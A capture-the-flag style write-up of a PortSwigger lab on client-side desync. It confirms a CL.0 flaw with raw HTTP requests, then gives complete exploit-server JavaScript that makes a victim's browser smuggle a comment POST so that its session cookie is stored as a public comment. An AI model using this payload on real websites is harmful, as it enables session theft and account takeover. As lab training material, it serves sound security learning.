Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Client-Side Desync — CL.0, Session Cookie Exfiltration via Comment Gadget
Difficulty Expert
Objective Steal the victim's session cookie by inducing their browser to make a series of cross-domain requests that capture and store it in a comment

Client-Side Desync

Classic request smuggling needs a front-end/back-end proxy chain — the attacker poisons a shared connection so the next user's request picks up the smuggled bytes. Client-side desync (CSD) doesn't need that chain. The server itself ignores Content-Length on certain endpoints and responds immediately without reading the body. The leftover body bytes sit on the connection and get treated as the start of the next request. The attacker delivers JavaScript that runs in the victim's browser and triggers this directly on the victim's own connection — the victim's browser becomes the attack tool.

Intercepting a request to /, changing to POST, disabling "Update Content-Length":

POST / HTTP/1.1
Host: 0a13008f03a463ee804d3199007400ca.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Screenshot

302 Found redirecting to /en — immediate response, no wait. Inflating Content-Length to 100 with a smuggled prefix in the body:

POST / HTTP/1.1
Content-Length: 100

GET /miku HTTP/1.1
Teto: teto

Still an immediate 302. The server ignores Content-Length on / — the body stays on the connection as the prefix for the next request. CL.0 confirmed.

To confirm in Burp, we group the attack request with a normal GET /en and send them as a single connection:

Screenshot

The GET /en comes back 404 — it got the smuggled GET /miku prepended to it. Desync confirmed.

Now for the gadget. The blog has a comment section. Intercepting a comment POST:

POST /en/post/comment HTTP/1.1
Cookie: session=gE7PZPez9bgxERhx4OD4pzTmJrFA1274; _lab_analytics=...

csrf=QSmxpM49gOgimDlHIimOUzO7cEKdpX3B&postId=2&comment=teto&name=teto&[email protected]&website=https://teto.com

The comment field is stored and displayed publicly. If the victim's next request body lands in that field, their session cookie ends up posted as a comment.

Grouping the attack request (POST to / with the smuggled comment POST as body) with a follow-up request, sent as a single connection:

POST / HTTP/1.1
Host: 0a13008f03a463ee804d3199007400ca.h1-web-security-academy.net
Content-Length: 30

POST /en/post/comment HTTP/1.1
Host: 0a13008f03a463ee804d3199007400ca.h1-web-security-academy.net
Cookie: session=gE7PZPez9bgxERhx4OD4pzTmJrFA1274
Content-Length: 200

csrf=QSmxpM49gOgimDlHIimOUzO7cEKdpX3B&postId=2&website=https://teto.com&name=teto&[email protected]&comment=teto
Screenshot

The follow-up request's content starts appearing in the comment:

Screenshot
tetoGET /en HTTP/1.1
Host: 0a13008f03a463ee804d3199007400ca.h1-web-security-academy.n...

Inflating the Content-Length of the smuggled comment POST captures more bytes — including headers from the follow-up request. Once this runs in the victim's browser, their Cookie header lands in those captured bytes.

The JavaScript delivered from the exploit server:

<script>
    smuggledRequest = [
        "POST /en/post/comment HTTP/1.1",
        "Host: 0a13008f03a463ee804d3199007400ca.h1-web-security-academy.net",
        "Cookie: session=gE7PZPez9bgxERhx4OD4pzTmJrFA1274",
        "Content-Length: 850",
        "",
        "csrf=QSmxpM49gOgimDlHIimOUzO7cEKdpX3B&postId=2&website=https://teto.com&name=teto&[email protected]&comment=teto"
    ].join("\r\n")

    fetch('https://0a13008f03a463ee804d3199007400ca.h1-web-security-academy.net/', {
        method: 'POST',
        body: smuggledRequest,
        mode: 'no-cors',
        credentials: 'include',
    })
</script>

fetch() posts to /, the CL.0 endpoint, with the smuggled comment request as the body. The server ignores the body and responds with 302, leaving the smuggled POST /en/post/comment... on the connection. credentials: 'include' means the victim's session cookie travels with the fetch, and mode: 'no-cors' lets the cross-origin request fire without needing a CORS response. The browser's next request on that connection gets the smuggled comment POST prepended to it — the victim's headers, including their Cookie, land in the comment field, which gets posted using our CSRF token and session.

Delivering to the victim:

Screenshot

The comment appears on the post containing the victim's session cookie:

Screenshot

Dropping the cookie into the browser and refreshing:

Screenshot

Steaing the cookie will solve the lab.

Resources